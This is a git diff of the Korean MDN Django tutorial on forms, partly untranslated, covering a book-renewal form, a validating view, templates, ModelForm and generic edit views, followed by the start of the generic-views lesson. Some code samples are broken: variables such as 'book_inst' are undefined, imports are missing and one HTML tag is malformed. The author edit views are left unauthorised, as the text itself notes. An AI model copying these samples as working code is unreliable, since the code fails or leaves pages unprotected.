우리가 구현할 구체적인 내용은 다음과 같다. 대여갱신 날짜를 입력할 한 개의 DateField 를 가지는데, 이 필드는 "Renewal date:"라는 라벨로 초기값 없이 빈 칸으로 HTML에 표시되게 된다. 그리고 다음과 같은 도움문구가 추가 된다: "Enter a date between now and 4 weeks (default 3 weeks)." 따로 추가지정할 선택사항 없이, 이 필드는 Django의 input_formats: YYYY-MM-DD (2016-11-06), MM/DD/YYYY (02/26/2016), MM/DD/YY (10/25/16) 을 이용하여 날짜를 입력받는다. 그리고 Django의 기본 widgetDateInput 를 이용하여 표시될 것이다.

+ +

다음과 같이, 대응되는 모델 필드와 유사성 때문에, 여러분이 의미를 대체로 알만한 수많은 종류의 폼필드가 있다 : BooleanField, CharField, ChoiceField, TypedChoiceField, DateField, DateTimeField, DecimalField, DurationField, EmailField, FileField, FilePathField, FloatField, ImageField, IntegerField, GenericIPAddressField, MultipleChoiceField, TypedMultipleChoiceField, NullBooleanField, RegexField, SlugField, TimeField, URLField, UUIDField, ComboField, MultiValueField, SplitDateTimeField, ModelMultipleChoiceField, ModelChoiceField .

+ +

대부분의 필드에 공통적인 인자들은 아래와 같다. ( 이들은 적절한 기본값을 가지고 있다 ):

+ + + +

유효성 체크

+ +

Django는 데이타의 유효성을 체크할 수 있는 수많은 지점을 제공한다. 어떤 필드의 유효성을 체크하는 가장 쉬운 방법은 해당 필드의  clean_<fieldname>() 메소드를  덮어쓰는 것이다. 예를 들면, 입력된 renewal_date 값이 현재로 부터 4 주이후 사이에 있는지는, clean_renewal_date() 를 아래와 같이 구현하여 유효성 체크를 수행할 수 있다.

+ + + +

forms.py 파일을 업데이트 하면 아래와 같은 모습이 된다:

+ + + +
import datetime
+
+from django import forms
+from django.core.exceptions import ValidationError
+from django.utils.translation import ugettext_lazy as _
+
+class RenewBookForm(forms.Form):
+    renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).")
+
+    def clean_renewal_date(self):
+        data = self.cleaned_data['renewal_date']
+
+        # Check if a date is not in the past.
+        if data < datetime.date.today():
+            raise ValidationError(_('Invalid date - renewal in past'))
+
+        # Check if a date is in the allowed range (+4 weeks from today).
+        if data > datetime.date.today() + datetime.timedelta(weeks=4):
+            raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead'))
+
+        # Remember to always return the cleaned data.
+        return data
+ +

주목해야할 지점이 두개 있다. 첫 번째 지점은 self.cleaned_data['renewal_date'] 를 이용하여 데이타를 획득하고 이 데이타의 수정여부에 상관없이 함수가 끝나면 이 데이타를 반환한 다는 것이다. 이 단계는 기본 유효성 검사도구를 이용해 입력값을 "다듬고(cleaned)" 잠재적으로 안전하지 않을 수 있는 입력 값을 정화하며 , 해당 입력값에 맞는 표준 형식으로 변환해준다. ( 이 경우에는 Python  datetime.datetime 객체 형식이다.).

+ +

두 번째 지점은 입력값이 지정한 범위를 벗어날 경우 ValidationError 에러를 발생시키고, 유효하지 않은 입력값일 때 폼에 보여주고자 하는 에러 문구를 지정하는 부분이다. 위의 예에서는, Django의 번역 함수들 중하나인 ugettext_lazy() (_() 로 import 됨)로 이 문구를 감싸고 있는데, 당신의 사이트를 나중에 번역하고자 한다면 좋은 예제가 된다.

+ +
+

참고사항: 폼과 필드 유효성 체크 (장고 문서임) 에 폼의 유효성 체크에 대한 수많은 다른메소드및 예제가 있다. 예를 들면, 서로 의존관계에 있는 여러개의 필드가 있을 경우,  Form.clean() 함수를 덮어써서,   ValidationError 를 다시 발생시킬수도 있다.

+
+ +

여기까지가 본 예제에서 필요한 폼에 대한 모든 내용이다!

+ +

URL Configuration 작성하기

+ +

뷰를 생성하기 전에, 책 대여갱신 페이지를 위해 URL 설정을 추가 하자. 아래 설정코드를 locallibrary/catalog/urls.py 아랫 부분에 복사하라.

+ +
urlpatterns += [
+    path('book/<uuid:pk>/renew/', views.renew_book_librarian, name='renew-book-librarian'),
+]
+ +

위 URL 설정코드는 /catalog/book/<bookinstance id>/renew/ 형식의  URL을 views.py 에 있는 renew_book_librarian() 라는 이름의 함수를 호출하고  BookInstance id를 pk라고 이름지은 매개변수로 전송한다. 위 패턴은 pk가 정확히 uuid의 형식일때만 일치한다.

+ +
+

주목할점: 추출된 URL 데이타 "pk" 는 당신 마음대로 이름을 정할 수 있다. 왜냐하면 view 함수에 대해서는 어떤  조작이라도 가능하기 때문이다.  ( 특정 이름을 기대하는 매개변수를 가진 Generic detail view 클래스를 사용하지 않고 있다.) 하지만 pk는 "primary key"의 약자으로 합리적인 관례상 이름이다 !

+
+ +

View 작성하기

+ +

위의 Django 폼 처리 과정 에서 설명된대로, 위의 폼 뷰는 첫번째로 호출될 때는 기본 폼을 표시해야 한다. 그리고 나서 데이터가 유효하지 않은 경우 에러 메시지를 재 표시하고, 데이터가 유효한 경우에는 데이타를 처리하고 새로운 페이지를 표시해야 한다. 이런 서로 다른 동작을 수행하기 위해, 해당 뷰가 기본 폼을 표시하도록 현재 첫번째로 호출되고 있는지, 데이터 유효성을 체크하기 위해 연속되어 이어지는 호출인지 알 수 있어야 한다.  

+ +

서버에 정보를 제출하는 POST리퀘스트를 사용하는 폼에 대해서, 가장 흔한 패턴은 뷰에서  POST 요청 타입 인지 판단 (if request.method == 'POST':) 하여 유효한 요청 여부를 확인하고 GET ( else 조건으로 ) 요청 타입인 경우 초기 폼 생성을 요청한다. GET요청으로 데이터를 제출하려고 한다면 첫 번째 뷰 호출인지 두 번째 이상의 뷰 호출인지 판단하는 전형적인 접근 방법은 폼 데이터를 읽어보는 (즉 폼에서 숨겨진 값을 읽는)것이다.

+ +

책 대여갱신 과정은 데이터베이스에 결과를 보내기 때문에, 관례상 POST요청 방법을 사용한다. 아래 코드는 이런 종류의 function 뷰에 대해 가장 기본적인 형식을 보여준다.

+ +
import datetime
+
+from django.shortcuts import get_object_or_404
+from django.http import HttpResponseRedirect
+from django.urls import reverse
+
+from catalog.forms import RenewBookForm
+
+def renew_book_librarian(request, pk):
+    book_instance = get_object_or_404(BookInstance, pk=pk)
+
+    # POST 요청이면 폼 데이터를 처리한다
+    if request.method == 'POST':
+
+        # 폼 인스턴스를 생성하고 요청에 의한 데이타로 채운다 (binding):
+        book_renewal_form = RenewBookForm(request.POST)
+
+        # 폼이 유효한지 체크한다:
+        if book_renewal_form.is_valid():
+            # form.cleaned_data 데이타를 요청받은대로 처리한다(여기선 그냥 모델 due_back 필드에 써넣는다)
+            book_instance.due_back = book_renewal_form.cleaned_data['renewal_date']
+            book_instance.save()
+
+            # 새로운 URL로 보낸다:
+            return HttpResponseRedirect(reverse('all-borrowed') )
+
+    # GET 요청 (혹은 다른 메소드)이면 기본 폼을 생성한다.
+    else:
+        proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)
+        book_renewal_form = RenewBookForm(initial={'renewal_date': proposed_renewal_date})
+
+    context = {
+        'form': book_renewal_form,
+        'book_instance': book_instance,
+    }
+
+    return render(request, 'catalog/book_renew_librarian.html', context)
+ +

첫부분에서는 미리 작성된 폼 (RenewBookForm)을 import 하고 뷰 함수의 내부에서 쓰일 유용한 객체나 메소드를 import 한다:

+ + + +

뷰 코드는 첫번째로 현재 BookInstance를 얻기위해 get_object_or_404()함수에 pk 전달인자를 사용한다( BookInstance가 없으면 뷰는 그 즉시 완료되며 페이지에는 "발견 하지 못함" 에러가 뜨게된다). POST요청이아니라면 ( else절로 처리되어) renewal_date필드에 대해 initial값을 넘겨주는 기본 폼을 생성한다. ( 기본 값은  아래 코드에서 볼드체로 표시된대로, 현재 날짜로 부터 3주후이다). 

+ +
    book_instance = get_object_or_404(BookInstance, pk=pk)
+
+    # GET 요청(혹은 다른 메소드)이면 기본 폼을 생성한다.
+    else:
+        proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)
+        book_renewal_form = RenewBookForm(initial={'renewal_date': proposed_renewal_date})
+
+    context = {
+        'form': book_renewal_form,
+        'book_instance': book_instance,
+    }
+
+    return render(request, 'catalog/book_renew_librarian.html', context)
+ +

폼을 생성한이후, HTML 페이지를 생성하기 위해 render()를 호출하는데, 이 함수에서 템플릿과 폼을 포함하는 context를 특정한다. 이 경우에 context는 BookInstance 또한 포함하는데, BookInstance는 갱신하고자 하는 책의 정보를 템플릿에 제공하는데 사용한다.

+ +

하지만 POST요청이라면, form객체를 생성하고 POST요청에서의 데이터로 form을 채운다. 이 처리과정은 "binding"으로 불리며 폼의 유효성 체크를 할수 있도록 해준다. 여기에서 모든 필드에 관련된 유효성 체크 코드 - 날짜필드가 실제상황에서 유효한 값을 가지는지 체크하는 일반적인 코드와 날짜가 정해진 범위의 값을 가지는지 체크하는 폼의 특별한 함수인 clean_renewal_date() 를 포함하는 코드 -  를 실행하며 폼의 데이타가 유효한지 체크한다.  

+ +
    book_instance = get_object_or_404(BookInstance, pk=pk)
+
+    # POST 요청이면 폼 데이터를 처리한다
+    if request.method == 'POST':
+
+        # 폼 인스턴스를 생성하고 요청에 의한 데이타로 채운다 (binding):
+        book_renewal_form = RenewBookForm(request.POST)
+
+        # 폼이 유효한지 체크한다:
+        if book_renewal_form.is_valid():
+            # form.cleaned_data 데이타를 요청받은대로 처리한다(여기선 그냥 모델 due_back 필드에 써넣는다)
+            book_inst.due_back = form.cleaned_data['renewal_date']
+            book_inst.save()
+
+            # 새로운 URL로 보낸다:
+            return HttpResponseRedirect(reverse('all-borrowed') )
+
+    context = {
+        'form': book_renewal_form,
+        'book_instance': book_instance,
+    }
+
+    return render(request, 'catalog/book_renew_librarian.html', context)
+ +

폼의 데이터가 유효하지 않다면 render()함수가 다시 호출된다. 하지만 이번에 context로 넘겨지는 폼의 값에는 에러메시지가 포함될 것이다.  

+ +

폼의 데이터가 유효하다면, form.cleaned_data속성을 통해 데이타 사용을 시작할수 있다(즉, 다음과 같다. data = form.cleaned_data['renewal_date']). 여기에서는 단지 폼 데이터를 BookInstance객체에 관련된 due_back변수에 저장했다. 

+ +
+

중요사항: 'request'객체를 통해 직접 폼 데이터를 가져올수는 있으나 ( 예를 들면 request.POST['renewal_date']나 GET 요청인경우 request.GET['renewal_date']처럼), 이 방식은 절대 추천하지 않는다. 위 코드에서 깔끔한 데이타(cleaned_data)란 것은  정제되고(sanitised), 유효성체크가되고, 파이썬에서 많이쓰는 타입의 데이타이다.

+
+ +

뷰에서 폼 처리의 마지막 단계는 , 대개는 "Success" 페이지라는 다른 페이지로 주소를 바꾸는 것이다. 여기서는 'all-borrowed'라는 뷰( 이 뷰는 Django 튜토리얼 파트 8: 사용자 인증과 사용권한 파트에서 "도전과제로" 생성했었다) 로 주소를 바꾸기 위해 HttpResponseRedirectreverse()를 사용한다. 당신이 이 페이지를 생성하지 않았다면 URL 주소가 '/'인 홈페이지로 주소를 변경하는 것을 고려해보자.

+ +

여기까지가 폼을 다루기 위해 필요한 모든 것이지만, 해당 폼 뷰의 사용권한을 도서관사서로 한정해야 하는 문제가 남아있다. BookInstance모델에 "can_renew"라는 새로운 사용권한을 추가해야 하겠지만, 작업을 간단하게 하기위해  그냥 기존의 사용권한can_mark_returned에 함수 데코레이터@permission_required를 사용하도록 하겠다.

+ +

그러므로 최종 뷰의 코드는 다음과 같다. 이 코드를 locallibrary/catalog/views.py 의 아랫부분에 복사해넣어라.

+ +
import datetime
+
+from django.contrib.auth.decorators import permission_required
+from django.shortcuts import get_object_or_404
+from django.http import HttpResponseRedirect
+from django.urls import reverse
+
+from catalog.forms import RenewBookForm
+
+@permission_required('catalog.can_mark_returned')
+def renew_book_librarian(request, pk):
+    """도서관 사서에 의해 특정 BookInstance를 갱신하는 뷰 함수."""
+    book_instance = get_object_or_404(BookInstance, pk=pk)
+
+    # POST 요청이면 폼 데이터를 처리한다
+    if request.method == 'POST':
+
+        # 폼 인스턴스를 생성하고 요청에 의한 데이타로 채운다 (binding):
+        book_renewal_form = RenewBookForm(request.POST)
+
+        # 폼이 유효한지 체크한다:
+        if book_renewal_form.is_valid():
+            # book_renewal_form.cleaned_data 데이타를 요청받은대로 처리한다(여기선 그냥 모델 due_back 필드에 써넣는다)
+            book_inst.due_back = book_renewal_form.cleaned_data['renewal_date']
+            book_inst.save()
+
+            # 새로운 URL로 보낸다:
+            return HttpResponseRedirect(reverse('all-borrowed') )
+
+    # GET 요청(혹은 다른 메소드)이면 기본 폼을 생성한다.
+    else:
+        proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)
+        book_renewal_form = RenewBookForm(initial={'renewal_date': proposed_renewal_date})
+
+    context = {
+        'form': book_renewal_form,
+        'book_instance': book_instance,
+    }
+
+    return render(request, 'catalog/book_renew_librarian.html', context)
+
+ +

Template 작성하기

+ +

뷰 에서 참조되는 템플릿 (/catalog/templates/catalog/book_renew_librarian.html)을 생성하고 아래 코드를 복사해넣어라 :

+ +
{% extends "base_generic.html" %}
+
+{% block content %}
+    <h1>Renew: \{{ book_instance.book.title }}</h1>
+    <p>Borrower: \{{ book_instance.borrower }}</p>
+    <p{% if book_instance.is_overdue %} class="text-danger"{% endif %}>Due date: \{{book_instance.due_back}}</p>
+
+    <form action="" method="post">
+        {% csrf_token %}
+        \{{ form.as_table }}
+        <input type="submit" value="Submit">
+    </form>
+{% endblock %}
+ +

이 작업의 대부분은 앞선 튜토리얼에서 익숙해진 작업이다. 우리는 베이스 템플릿을 확장하고 콘텐츠 블럭을 재설정한다.  \{{bookinst}}(와 그에 따른 변수) 가  render() 함수 내의 컨텍스트 객체로 넘겨졌기 때문에 \{{bookinst}}를 참조할수 있다. 이들을 이용해 책 제목, 대여자 그리고 이전 대여마감일의 목록을 열거한다.

+ +

폼 코드는 상대적으로 간단하다. 우선 form이 어디에 제출될 것인지(action)(POST인지 PUT인지) 명시하여 form 태그를 선언하고, 데이터를 제출하는 method 를 명시한다(이 경우에는 "HTTP POST") — 해당 페이지 위 쪽의 HTML Forms overview에서 보았듯이,  action을 비워 놓았는데, 이렇게 하면 form 데이터가 현재 URL페이지로 다시 POST 된다(지금 우리가 하고자 하는 것입니다!). form 태그 안에는 submit input 태그 또한 만들어서 페이지 사용자가 눌러서 데이터를 제출(submit)할 수 있도록 한다. form 태그 안에정의된 또 다른 하나인 {% csrf_token %}는 Django의 cross-site 위조 방지의 방식 중 하나이다. 

+ +
+

Note: Add the {% csrf_token %} to every Django template you create that uses POST to submit data. This will reduce the chance of forms being hijacked by malicious users.

+
+ +

마지막으로 템플릿에 context라는 dictionary형 데이터로 넘기는 \{{form}} 변수가 남았다. 별로 놀랍지 않을 수 있지만, 아래처럼 하면 form의 모든 field의 필드, 위젯, 도움말을 함께 렌더링하는 기본 렌더링기능을 사용할 수 있다 — 렌더링된 결과는 다음과 같다.

+ +
<tr>
+  <t><label for="id_renewal_date">Renewal date:</label></th>
+  <td>
+    <input id="id_renewal_date" name="renewal_date" type="text" value="2016-11-08" required />
+    <br />
+    <span class="helptext">Enter date between now and 4 weeks (default 3 weeks).</span>
+  </td>
+</tr>
+
+ +
+

Note: 필드가 하나만 있기 때문에 분명하지는 않지만 기본적으로 모든 필드는 자체 테이블 행에 정의되어 있습니다. 템플릿 변수 \{{ form.as_table }}을 참조하면이 동일한 렌더링이 제공됩니다. 

+
+ +

유효하지 않은 날짜를 입력하는 경우 페이지에서 렌더링 된 오류 목록 (아래 굵게 표시)을 얻게됩니다.

+ +
<tr>
+  <th><label for="id_renewal_date">Renewal date:</label></th>
+   <td>
+      <ul class="errorlist">
+        <li>Invalid date - renewal in past</li>
+      </ul>
+      <input id="id_renewal_date" name="renewal_date" type="text" value="2015-11-08" required />
+      <br />
+      <span class="helptext">Enter date between now and 4 weeks (default 3 weeks).</span>
+    </td>
+</tr>
+ +

Form template variable을 사용하는 다른 방법

+ +

위와 같이 \{{form.as_table}} 을 사용하면 각 필드가 테이블 행으로 렌더링됩니다. 또한 각 필드를 \{{form.as_ul}} 을 사용하여 목록항목(list item)으로 렌더링하거나 \{{form.as_p}}를 사용하여 단락(paragraph)으로 렌더링 할 수도 있습니다.

+ +

또한 dot notation을 사용하여 form 속성을 인덱싱하여 각 부분 렌더링을 완벽하게 제어 할 수도 있습니다. 예를 들어, renewal_date 필드에 대한 여러 개의 개별 항목에 접근 할 수 있습니다.

+ + + +

템플릿의 양식을 수동으로 렌더링하고 템플릿 필드를 동적으로 반복하는 방법에 대한 자세한 예제는, Working with forms > Rendering fields manually (Django docs)를 참고.

+ +

Page를 시험하기

+ +

If you accepted the "challenge" in Django Tutorial Part 8: User authentication and permissions you'll have a list of all books on loan in the library, which is only visible to library staff. We can add a link to our renew page next to each item using the template code below.

+ +
{% if perms.catalog.can_mark_returned %}- <a href="{% url 'renew-book-librarian' bookinst.id %}">Renew</a>  {% endif %}
+ +
+

Note: Remember that your test login will need to have the permission "catalog.can_mark_returned" in order to access the renew book page (perhaps use your superuser account).

+
+ +

You can alternatively manually construct a test URL like this — http://127.0.0.1:8000/catalog/book/<bookinstance_id>/renew/ (a valid bookinstance id can be obtained by navigating to a book detail page in your library, and copying the id field).

+ +

What does it look like?

+ +

If you are successful, the default form will look like this:

+ +

+ +

The form with an invalid value entered, will look like this:

+ +

+ +

The list of all books with renew links will look like this:

+ +

+ +

ModelForms

+ +

Creating a Form class using the approach described above is very flexible, allowing you to create whatever sort of form page you like and associate it with any model or models.

+ +

However if you just need a form to map the fields of a single model then your model will already define most of the information that you need in your form: fields, labels, help text, etc. Rather than recreating the model definitions in your form, it is easier to use the ModelForm helper class to create the form from your model. This ModelForm can then be used within your views in exactly the same way as an ordinary Form.

+ +

A basic ModelForm containing the same field as our original RenewBookForm is shown below. All you need to do to create the form is add class Meta with the associated model (BookInstance) and a list of the model fields to include in the form (you can include all fields using fields = '__all__', or you can use exclude (instead of fields) to specify the fields not to include from the model).

+ +
from django.forms import ModelForm
+from .models import BookInstance
+
+class RenewBookModelForm(ModelForm):
+    class Meta:
+        model = BookInstance
+        fields = ['due_back',]
+
+ +
+

Note: This might not look like all that much simpler than just using a Form (and it isn't in this case, because we just have one field). However if you have a lot of fields, it can reduce the amount of code quite significantly!

+
+ +

The rest of the information comes from the model field definitions (e.g. labels, widgets, help text, error messages). If these aren't quite right, then we can override them in our class Meta, specifying a dictionary containing the field to change and its new value. For example, in this form we might want a label for our field of "Renewal date" (rather than the default based on the field name: Due date), and we also want our help text to be specific to this use case. The Meta below shows you how to override these fields, and you can similarly set widgets and error_messages if the defaults aren't sufficient.

+ +
class Meta:
+    model = BookInstance
+    fields = ['due_back',]
+    labels = { 'due_back': _('Renewal date'), }
+    help_texts = { 'due_back': _('Enter a date between now and 4 weeks (default 3).'), } 
+
+ +

To add validation you can use the same approach as for a normal Form — you define a function named clean_field_name() and raise ValidationError exceptions for invalid values. The only difference with respect to our original form is that the model field is named due_back and not "renewal_date".

+ +
from django.forms import ModelForm
+from .models import BookInstance
+
+class RenewBookModelForm(ModelForm):
+    def clean_due_back(self):
+       data = self.cleaned_data['due_back']
+
+       #Check date is not in past.
+       if data < datetime.date.today():
+           raise ValidationError(_('Invalid date - renewal in past'))
+
+       #Check date is in range librarian allowed to change (+4 weeks)
+       if data > datetime.date.today() + datetime.timedelta(weeks=4):
+           raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead'))
+
+       # Remember to always return the cleaned data.
+       return data
+
+    class Meta:
+        model = BookInstance
+        fields = ['due_back',]
+        labels = { 'due_back': _('Renewal date'), }
+        help_texts = { 'due_back': _('Enter a date between now and 4 weeks (default 3).'), }
+
+ +

The class RenewBookModelForm below is now functionally equivalent to our original RenewBookForm. You could import and use it wherever you currently use RenewBookForm.

+ +

Generic editing views

+ +

The form handling algorithm we used in our function view example above represents an extremely common pattern in form editing views. Django abstracts much of this "boilerplate" for you, by creating generic editing views for creating, editing, and deleting views based on models. Not only do these handle the "view" behaviour, but they automatically create the form class (a ModelForm) for you from the model.

+ +
+

Note: In addition to the editing views described here, there is also a FormView class, which lies somewhere between our function view and the other generic views in terms of "flexibility" vs "coding effort". Using FormView you still need to create your Form, but you don't have to implement all of the standard form-handling pattern. Instead you just have to provide an implementation of the function that will be called once the submitted is known to be be valid.

+
+ +

In this section we're going to use generic editing views to create pages to add functionality to create, edit, and delete Author records from our library — effectively providing a basic reimplementation of parts of the Admin site (this could be useful if you need to offer admin functionality in a more flexible way that can be provided by the admin site).

+ +

Views

+ +

Open the views file (locallibrary/catalog/views.py) and append the following code block to the bottom of it:

+ +
from django.views.generic.edit import CreateView, UpdateView, DeleteView
+from django.urls import reverse_lazy
+from .models import Author
+
+class AuthorCreate(CreateView):
+    model = Author
+    fields = '__all__'
+    initial={'date_of_death':'05/01/2018',}
+
+class AuthorUpdate(UpdateView):
+    model = Author
+    fields = ['first_name','last_name','date_of_birth','date_of_death']
+
+class AuthorDelete(DeleteView):
+    model = Author
+    success_url = reverse_lazy('authors')
+ +

As you can see, to create the views you need to derive from CreateView, UpdateView, and DeleteView (respectively) and then define the associated model.

+ +

For the "create" and "update" cases you also need to specify the fields to display in the form (using in same syntax as for ModelForm). In this case we show both the syntax to display "all" fields, and how you can list them individually. You can also specify initial values for each of the fields using a dictionary of field_name/value pairs (here we arbitrarily set the date of death for demonstration purposes — you might want to remove that!). By default these views will redirect on success to a page displaying the newly created/edited model item, which in our case will be the author detail view we created in a previous tutorial. You can specify an alternative redirect location by explicitly declaring parameter success_url (as done for the AuthorDelete class).

+ +

The AuthorDelete class doesn't need to display any of the fields, so these don't need to be specified. You do however need to specify the success_url, because there is no obvious default value for Django to use. In this case we use the reverse_lazy() function to redirect to our author list after an author has been deleted — reverse_lazy() is a lazily executed version of reverse(), used here because we're providing a URL to a class-based view attribute.

+ +

Templates

+ +

The "create" and "update" views use the same template by default, which will be named after your model: model_name_form.html (you can change the suffix to something other than _form using the template_name_suffix field in your view, e.g. template_name_suffix = '_other_suffix')

+ +

Create the template file locallibrary/catalog/templates/catalog/author_form.html and copy in the text below.

+ +
{% extends "base_generic.html" %}
+
+{% block content %}
+
+<form action="" method="post">
+    {% csrf_token %}
+    <table>
+    \{{ form.as_table }}
+    </table>
+    <input type="submit" value="Submit" />
+
+</form>
+{% endblock %}
+ +

This is similar to our previous forms, and renders the fields using a table. Note also how again we declare the {% csrf_token %} to ensure that our forms are resistant to CSRF attacks.

+ +

The "delete" view expects to find a template named with the format model_name_confirm_delete.html (again, you can change the suffix using template_name_suffix in your view). Create the template file locallibrary/catalog/templates/catalog/author_confirm_delete.html and copy in the text below.

+ +
{% extends "base_generic.html" %}
+
+{% block content %}
+
+<h1>Delete Author</h1>
+
+<p>Are you sure you want to delete the author: \{{ author }}?</p>
+
+<form action="" method="POST">
+  {% csrf_token %}
+  <input type="submit" action="" value="Yes, delete." />
+</form>
+
+{% endblock %}
+
+ +

URL configurations

+ +

Open your URL configuration file (locallibrary/catalog/urls.py) and add the following configuration to the bottom of the file:

+ +
urlpatterns += [
+    path('author/create/', views.AuthorCreate.as_view(), name='author_create'),
+    path('author/<int:pk>/update/', views.AuthorUpdate.as_view(), name='author_update'),
+    path('author/<int:pk>/delete/', views.AuthorDelete.as_view(), name='author_delete'),
+]
+ +

There is nothing particularly new here! You can see that the views are classes, and must hence be called via .as_view(), and you should be able to recognise the URL patterns in each case. We must use pk as the name for our captured primary key value, as this is the parameter name expected by the view classes.

+ +

The author create, update, and delete pages are now ready to test (we won't bother hooking them into the site sidebar in this case, although you can do so if you wish).

+ +
+

Note: Observant users will have noticed that we didn't do anything to prevent unauthorised users from accessing the pages! We leave that as an exercise for you (hint: you could use the PermissionRequiredMixin and either create a new permission or reuse our can_mark_returned permission).

+
+ +

Testing the page

+ +

First login to the site with an account that has whatever permissions you decided are needed to access the author editing pages.

+ +

Then navigate to the author create page: http://127.0.0.1:8000/catalog/author/create/, which should look like the screenshot below.

+ +

Form Example: Create Author

+ +

Enter values for the fields and then press Submit to save the author record. You should now be taken to a detail view for your new author, with a URL of something like http://127.0.0.1:8000/catalog/author/10.

+ +

You can test editing records by appending /update/ to the end of the detail view URL (e.g. http://127.0.0.1:8000/catalog/author/10/update/) — we don't show a screenshot, because it looks just like the "create" page!

+ +

Last of all we can delete the page, by appending delete to the end of the author detail-view URL (e.g. http://127.0.0.1:8000/catalog/author/10/delete/). Django should display the delete page shown below. Press Yes, delete. to remove the record and be taken to the list of all authors.

+ +

+ + + +

Challenge yourself

+ +

Create some forms to create, edit and delete Book records. You can use exactly the same structure as for Authors. If your book_form.html template is just a copy-renamed version of the author_form.html template, then the new "create book" page will look like the screenshot below:

+ +

+ + + +

Summary

+ +

Creating and handling forms can be a complicated process! Django makes it much easier by providing programmatic mechanisms to declare, render and validate forms. Furthermore, Django provides generic form editing views that can do almost all the work to define pages that can create, edit, and delete records associated with a single model instance.

+ +

There is a lot more that can be done with forms (check out our See also list below), but you should now understand how to add basic forms and form-handling code to your own websites.

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}

+ + + +

In this module

+ + diff --git a/files/ko/learn/server-side/django/generic_views/index.html b/files/ko/learn/server-side/django/generic_views/index.html new file mode 100644 index 0000000000..f3f496f97c --- /dev/null +++ b/files/ko/learn/server-side/django/generic_views/index.html @@ -0,0 +1,623 @@ +--- +title: 'Django Tutorial Part 6: Generic list and detail views' +slug: Learn/Server-side/Django/Generic_views +translation_of: Learn/Server-side/Django/Generic_views +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}
+ +

이 튜토리얼은 LocalLibrary website에 책과 저자의 목록과 세부 페이지를 추가 하여 확장할 것입니다. 이 글에서 우리는 제네릭 클래스-기반 뷰(generic class-based views)에 대해 배울 것이며, 그것이 일반적인 사용 사례를 위해 작성해야 하는 코드들을 줄이는 방법을 보여줄 것입니다. 우리는 또한 URL 처리에 대해 더 세부적으로 알아볼 것이며, 기본 패턴 매칭(basic pattern matching)을 수행하는 방법을 보여줄 것입니다.

+ + + + + + + + + + + + +
사전 준비:Django Tutorial Part 5: Creating our home page를 포함한 모든 이전 튜토리얼을 완료하세요.
목표:제네릭 클래스-기반 뷰를 어디 그리고 어떻게 사용하는지, 그리고 어떻게 URL들로부터 패턴들을 추출하여 정보를 view들에게 전달하는지에 대해 이해하기.
+ +

개요

+ +

이 튜토리얼에서 우리는 책과 저자에 대한 목록과 세부 페이지(detail page)를 추가하여 LocalLibrary 웹사이트의 첫 번째 버전을 완성할 것입니다(더 정확하게는, 우리는 책 페이지들을 구현하는 방법을 보여주고, 저자 페이지는 스스로 완성하도록 할 것입니다!)

+ +

이 과정은 이전 튜토리얼에서 보여준, 색인 페이지(index page)를 만드는 과정과 비슷합니다. 우리는 여전히 URL 맵들, view들, 그리고 탬플릿들을 만들어야 합니다. 주요한 차이점은 세부 페이지(detail pages)에서, 우리는 URL 안의 패턴에서 정보를 추출해서 view로 전달하는 추가적인 도전을 가진다는 점입니다. 

+ +

이 튜토리얼의 마지막에서는 제네릭 클래스-기반 뷰를 사용할 때 데이터의 페이지를 매기는 방법을 보여드리겠습니다.

+ +

책 목록 페이지

+ +

책 목록 페이지는 모든 사용 가능한 책 레코드들의 목록을 페이지 안에 나타낼 것이며, 다음 URL을 사용하여 접근합니다: catalog/books/. 이 페이지는 각 레코드마다 제목과 저자를 나타낼 것이며, 제목은 관련된 책 페이지로 이동하는 하이퍼링크 처리됩니다. 이 페이지는 사이트의 다른 페이지들과 같은 구조와 내비게이션을 가지고 있어서, 우리는 이전 튜토리얼에서 만들었던 템플릿(base_generic.html)을 확장해서 사용하면 됩니다.

+ +

URL mapping

+ +

/catalog/urls.py 파일을 열고 아래 코드박스의 굵은 글씨를 복사해 붙여넣으세요. 인덱스 페이지처럼 path() 함수는 URL('books/')과 매치되는 패턴, URL이 매치될 때 호출되는 view 함수(views.BookListView.as_view()), 그리고 이 특정 매핑에 대한 이름을 정의합니다.

+ +
urlpatterns = [
+    path('', views.index, name='index'),
+    path('books/', views.BookListView.as_view(), name='books'),
+]
+ +

이전 튜토리얼에서 URL은 이미 /catalog 와 매치되었을 것입니다. 그래서 사실상 view는 /catalog/books/ URL에 접속하면 호출됩니다.

+ +

View함수는 이전과 다른 형태를 가집니다. 왜냐면 이 view는 사실 클래스로 구현이 되기 때문입니다. 우리는 이 view를 직접 구현하지 않고, 이미 존재하는 generic view 함수를 상속받아 view 함수를 구현할 것입니다. 이 generic view 함수는 우리가 구현하고 싶은 기능들을 거의 다 가지고 있습니다.

+ +

Django의 클래스 기반 view에서는, as_view()클래스 메소드를 호출해 적절한 view 함수에 접근할 수 있습니다. 이건 클래스의 인스턴스를 생성하는 작업과 모든 HTTP 요청을 처리하는 핸들러 메소드가 제대로 동작하는지를 처리합니다.

+ +

뷰(클래스 기반)

+ +

표준 function으로 우리는 꽤나 쉽게 book list view를 만들 수 있는데 (마치 이전 우리의 index view같이), 모든 책에 대한 데이터 베이스 쿼리를 만들어서 render() 함수를 불러 특정 템플릿에 리스트를 보냅니다. 대신 우리는 class-based generic list view (ListView) 를 사용하는데— 존재하는 뷰로부터 상속받아온 클래스입니다. generic view가 이미 우리가 필요한 대부분의 기능성을 실행하면서 동시에 Django best-practice이기 때문에, 우리는 코드의 양과 반복을 줄이고 궁극적으로 유지보수에 수고가 덜 드는 견고한 리스트 뷰를 만들 수 있습니다.

+ +

catalog/views.py 파일을 열고, 아래의 코드를 views.py 파일 가장 아래에 붙여넣기하세요.

+ +
from django.views import generic
+
+class BookListView(generic.ListView):
+    model = Book
+ +

